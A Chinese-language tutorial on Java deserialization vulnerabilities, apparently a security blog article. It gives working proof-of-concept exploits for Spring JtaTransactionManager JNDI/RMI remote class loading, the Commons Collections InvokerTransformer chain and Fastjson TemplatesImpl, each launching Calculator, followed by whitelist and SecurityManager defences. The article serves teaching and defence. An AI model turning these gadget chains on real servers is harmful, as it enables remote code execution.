深入理解 JAVA 反序列化漏洞

1. Java 序列化與反序列化

Java 序列化是指把 Java 對象轉換為字節序列的過程便於保存在內存、文件、數據庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。

Java 反序列化是指把字節序列恢復為 Java 對象的過程,ObjectInputStream 類的 readObject() 方法用於反序列化。

深入理解 JAVA 反序列化漏洞

序列化與反序列化是讓 Java 對象脫離 Java 運行環境的一種手段,可以有效的實現多平臺之間的通信、對象持久化存儲。主要應用在以下場景:

HTTP:多平臺之間的通信,管理等

RMI:是 Java 的一組用戶開發分佈式應用程序的 API,實現了不同操作系統之間程序的方法調用。值得注意的是,RMI 的傳輸 100% 基於反序列化,Java RMI 的默認端口是 1099 端口。

JMX:JMX 是一套標準的代理和服務,用戶可以在任何 Java 應用程序中使用這些代理和服務實現管理,中間件軟件 WebLogic 的管理頁面就是基於 JMX 開發的,而 JBoss 則整個系統都基於 JMX 構架。 ​

2. 漏洞歷史

最為出名的大概應該是:15年的Apache Commons Collections 反序列化遠程命令執行漏洞,其當初影響範圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

2016年Spring RMI反序列化漏洞今年比較出名的:Jackson,FastJson

Java 十分受開發者喜愛的一點是其擁有完善的第三方類庫,和滿足各種需求的框架;但正因為很多第三方類庫引用廣泛,如果其中某些組件出現安全問題,那麼受影響範圍將極為廣泛。

3. 漏洞成因

暴露或間接暴露反序列化 API ,導致用戶可以操作傳入數據,攻擊者可以精心構造反序列化對象並執行惡意代碼

兩個或多個看似安全的模塊在同一運行環境下,共同產生的安全問題 ​

4. 漏洞基本原理

實現序列化與反序列化

<code>public class TestSerializable{
public static void main(String args[])throws Exception{
//定義obj對象
String obj="hello world!";
//創建一個包含對象進行反序列化信息的”object”數據文件
FileOutputStream fos=new FileOutputStream("object");
ObjectOutputStream os=new ObjectOutputStream(fos);
//writeObject()方法將obj對象寫入object文件
os.writeObject(obj);
os.close();
//從文件中反序列化obj對象
FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
//恢復對象
String obj2=(String)ois.readObject();
System.out.print(obj2);
ois.close();
}
}
/<code>

上面代碼將 String 對象 obj1 序列化後寫入文件 object 文件中,後又從該文件反序列化得到該對象。我們來看一下 object 文件中的內容:


深入理解 JAVA 反序列化漏洞


這裡需要注意的是,ac ed 00 05是 java 序列化內容的特徵,如果經過 base64 編碼,那麼相對應的是rO0AB:

深入理解 JAVA 反序列化漏洞

我們再看一段代碼:

<code>public class TestSerializable{
public static void main(String args[]) throws Exception{
//定義myObj對象
MyObject myObj = new MyObject();
myObj.name = "hi";
//創建一個包含對象進行反序列化信息的”object”數據文件

FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法將myObj對象寫入object文件
os.writeObject(myObj);
os.close();
//從文件中反序列化obj對象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢復對象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}

class MyObject implements Serializable{
public String name;
//重寫readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//執行默認的readObject()方法
in.defaultReadObject();
//執行打開計算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}
/<code>

這次我們自己寫了一個 class 來進行對象的序列與反序列化。我們看到,MyObject 類有一個公有屬性 name ,myObj 實例化後將 myObj.name 賦值為了 “hi” ,然後序列化寫入文件 object:


深入理解 JAVA 反序列化漏洞


然後讀取 object 反序列化時:


深入理解 JAVA 反序列化漏洞


我們注意到 MyObject 類實現了Serializable接口,並且重寫了readObject()函數。這裡需要注意:只有實現了Serializable接口的類的對象才可以被序列化

,Serializable 接口是啟用其序列化功能的接口,實現 java.io.Serializable 接口的類才是可序列化的,沒有實現此接口的類將不能使它們的任一狀態被序列化或逆序列化。這裡的 readObject() 執行了Runtime.getRuntime().exec("open /Applications/Calculator.app/"),而 readObject() 方法的作用正是從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,並將其返回,readObject() 是可以重寫的,可以定製反序列化的一些行為。

5. 安全隱患

看完上一章節你可能會說不會有人這麼寫 readObject() ,當然不會,但是實際也不會太差。

我們看一下 2016 年的 Spring 框架的反序列化漏洞,該漏洞是利用了 RMI 以及 JNDI:

RMI(Remote Method Invocation) 即 Java 遠程方法調用,一種用於實現遠程過程調用的應用程序編程接口,常見的兩種接口實現為 JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議)以及 CORBA。

JNDI (Java Naming and Directory Interface) 是一個應用程序設計的 API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。JNDI 支持的服務主要有以下幾種:DNS、LDAP、 CORBA 對象服務、RMI 等。

簡單的來說就是RMI註冊的服務可以讓 JNDI 應用程序來訪問,調用。

Spring 框架中的遠程代碼執行的缺陷在於spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager類,該類實現了 Java Transaction API,主要功能是處理分佈式的事務管理。

這裡我們來分析一下該漏洞的原理,為了復現該漏洞,我們模擬搭建 Server 和 Client 服務;Server 主要功能是主要功能就是監聽某個端口,讀取送達該端口的序列化後的對象,然後反序列化還原得到該對象;Client 負責發送序列化後的對象。運行環境需要在 Spring 框架下。

我們首先來看 server 代碼:

<code>public class ExploitableServer {
public static void main(String[] args) {
{
//創建socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//等待鏈接
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//讀取對象
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
/<code>

client:

<code>public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = args[0];

int port = Integer.parseInt(args[1]);
String localAddress= args[2];
//啟動web server,提供遠程下載要調用類的接口
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8088), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
//下載惡意類的地址 http://127.0.0.1:8088/ExportObject.class
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
//jndi的調用地址
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//發送payload
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
/<code>

最後是 ExportObject ,包含測試用執行的命令:

<code>public class ExportObject {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)

sb += lineStr + "\\n";
inBr.close();
in.close();
return sb;
}
public ExportObject() throws Exception {
String cmd="open /Applications/Calculator.app/";
throw new Exception(exec(cmd));
}
}
/<code>

先開啟 server,再運行 client 後:


深入理解 JAVA 反序列化漏洞


我們簡單的看一下流程。


深入理解 JAVA 反序列化漏洞


這裡向 Server 發送的 Payload 是:

<code>        // jndi的調用地址
String jndiAddress = "rmi://127.0.0.1:1999/Object";
// 實例化JtaTransactionManager對象,並且初始化UserTransactionName成員變量
JtaTransactionManager object = new JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
/<code>

上文已經說了,JtaTransactionManager 類存在問題,最終導致了漏洞的實現,這裡向 Server 發送的序列化後的對象就是 JtaTransactionManager 的對象。JtaTransactionManager 實現了 Java Transaction API,即 JTA,JTA 允許應用程序執行分佈式事務處理——在兩個或多個網絡計算機資源上訪問並且更新數據。

上文已經介紹過了,反序列化時會調用被序列化類的 readObject() 方法,readObject() 可以重寫而實現一些其他的功能,我們看一下 JtaTransactionManager 類的 readObject() 方法:

<code>private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();

// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();

// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}
/<code>

方法 initUserTransactionAndTransactionManager() 是用來初始化 UserTransaction 以及 TransactionManager,在該方法中,我們可以看到:


深入理解 JAVA 反序列化漏洞


lookupUserTransaction() 方法會調用 JndiTemplate 的 lookup() 方法:


深入理解 JAVA 反序列化漏洞


可以看到 lookup() 方法作用是:Look up the object with the given name in the current JNDI context. 而就是使用 JtaTransactionManager 類的 userTransactionName 屬性,因此我們可以看到上文中我們序列化的 JtaTransactionManager 對象使用了 setUserTransactionName() 方法將jndiAddress 即 "rmi://127.0.0.1:1999/Object" ; 賦給了 userTransactionName。

至此,該漏洞的核心也明瞭了:


深入理解 JAVA 反序列化漏洞


我們來看一下上文中 userTransactionName 指向的 “rmi://127.0.0.1:1999/Object” 是如何實現將惡意類返回給 Server 的:

<code>        // 註冊端口1999
Registry registry = LocateRegistry.createRegistry(1999);
// 設置code url 這裡即為http://http://127.0.0.1:8000/
// 最終下載惡意類的地址為http://127.0.0.1:8000/ExportObject.class

Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
// Reference包裝類
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
/<code>

這裡的Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/"); 可以看到,最終會返回的類的是http://127.0.0.1:8000/ExportObject.class ,即上文中貼出的ExportObject,該類中的構造函數包含執行 “open /Applications/Calculator.app/” 代碼。發送 Payload:

<code>        //制定Server的IP和端口
Socket socket = new Socket("127.0.0.1", 9999);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
//發送object
objectOutputStream.writeObject(object);
objectOutputStream.flush();
socket.close();
/<code>

小結:

利用了 JtaTransactionManager 類中可以被控制的 readObject() 方法,從而構造惡意的被序列化類,其中利用 readObject() 會觸發遠程惡意類中的構造函數這一點,達到目的。

6. JAVA Apache-CommonsCollections 序列化RCE漏洞分析

Apache Commons Collections 序列化 RCE 漏洞問題主要出現在 org.apache.commons.collections.Transformer 接口上;在 Apache Commons Collections 中有一個 InvokerTransformer 類實現了 Transformer,主要作用是調用 Java 的反射機制(反射機制是在運行狀態中,對於任意一個類,都能夠知道這個類的所有屬性和方法;對於任意一個對象,都能夠調用它的任意一個方法和屬性,詳細內容請參考:http://ifeve.com/java-reflection/) 來調用任意函數,只需要傳入方法名、參數類型和參數,即可調用任意函數。TransformedMap 配合sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject(),可以觸發漏洞。我們先來看一下大概的邏輯:


深入理解 JAVA 反序列化漏洞


我們先來看一下Poc:

<code>import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Test {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通過反射獲得AnnotationInvocationHandler類對象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通過反射獲得cls的構造函數
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//這裡需要設置Accessible為true,否則序列化失敗
ctor.setAccessible(true);
//通過newInstance()方法實例化對象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}

public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj");
payloadTest("obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//將構造好的payload序列化後寫入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//讀取寫入的payload,並進行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();

in.close();
}
}
/<code>

該漏洞當時影響廣泛,在當時可以直接攻擊最新版 WebLogic 、 WebSphere 、 JBoss 、 Jenkins 、OpenNMS 這些大名鼎鼎的 Java 應用。

7. Fastjson 反序列化漏洞

該漏洞剛發出公告研究發現 Fastjson 可以通過 JSON.parseObject 來實例化任何帶有 setter 方法的類,當也止步於此,認為利用條件過於苛刻。不過後來網上有人披露了部分細節。利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類和 Fastjson 的 smartMatch() 方法,從而實現了代碼執行。

<code>public class Poc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());

}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]){
try {

test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
/<code>

詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

這裡的利用方式和 Jackson 的反序列化漏洞非常相似:http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

由此可見,兩個看似安全的組件如果在同一系統中,也能會帶來一定安全問題。

8. 其他 Java 反序列化漏洞

根據上面的三個漏洞的簡要分析,我們不難發現,Java 反序列化漏洞產生的原因大多數是因為反序列化時沒有進行校驗,或者有些校驗使用黑名單方式又被繞過,最終使得包含惡意代碼的序列化對象在服務器端被反序列化執行。核心問題都不是反序列化,但都是因為反序列化導致了惡意代碼被執行。 這裡總結了一些近兩年的 Java 反序列化漏洞:http://seclists.org/oss-sec/2017/q2/307?utm_source=dlvr.it&utm_medium=twitter

9. 總結

如何發現 Java 反序列化漏洞

  1. 從流量中發現序列化的痕跡,關鍵字:ac ed 00 05,rO0AB
  2. Java RMI 的傳輸 100% 基於反序列化,Java RMI 的默認端口是1099端口
  3. 從源碼入手,可以被序列化的類一定實現了Serializable接口
  4. 觀察反序列化時的readObject()方法是否重寫,重寫中是否有設計不合理,可以被利用之處

從可控數據的反序列化或間接的反序列化接口入手,再在此基礎上嘗試構造序列化的對象。

ysoserial 是一款非常好用的 Java 反序列化漏洞檢測工具,該工具通過多種機制構造 PoC ,並靈活的運用了反射機制和動態代理機制,值得學習和研究。

如何防範

有部分人使用反序列化時認為:

<code>    FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
String obj2=(String)ois.readObject();
/<code>

可以通過類似 "(String)" 這種方式來確保得到自己反序列化的對象,並可以保護自己不會受到反序列化漏洞的危害。然而這明顯是一個很基礎的錯誤,在通過 "(String)" 類似方法進行強制轉換之前, readObject() 函數已經運行完畢,該發生的已經發生了。

以下是兩種比較常用的防範反序列化安全問題的方法:

1. 類白名單校驗

在 ObjectInputStream 中 resolveClass 裡只是進行了 class 是否能被 load ,自定義 ObjectInputStream , 重載 resolveClass 的方法,對 className 進行白名單校驗

<code>public final class test extends ObjectInputStream{
...
protected Class> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException{
if(!desc.getName().equals("className")){
throw new ClassNotFoundException(desc.getName()+" forbidden!");
}
returnsuper.resolveClass(desc);
}
...
}
/<code>

2. 禁止 JVM 執行外部命令 Runtime.exec

通過擴展 SecurityManager 可以實現:

(By hengyunabc)

<code>SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 創建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}

// 禁止設置新的SecurityManager,保護自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}

@Override
public void checkPermission(Permission perm) {
check(perm);
}

@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};

System.setSecurityManager(sm);
}
/<code>

總結:

Java 反序列化大多存在複雜系統間相互調用,控制,或較為底層的服務應用間交互等應用場景上,因此接口本身可能就存在一定的安全隱患。Java 反序列化本身沒有錯,而是面對不安全的數據時,缺乏相應的防範,導致了一些安全問題。並且不容忽視的是,也許某些 Java 服務沒有直接使用存在漏洞的 Java 庫,但只要 Lib 中存在存在漏洞的 Java 庫,依然可能會受到威脅。

隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但今年陸續爆出的 Jackson 和 Fastjson 兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。所以無論是 Java 開發者還是安全相關人員,對於 Java 反序列化的安全問題應該具備一定的防範意識,並著重注意傳入數據的校驗,服務器權限和相關日誌的檢查, API 權限控制,通過 HTTPS 加密傳輸數據等方面。


分享到:


相關文章: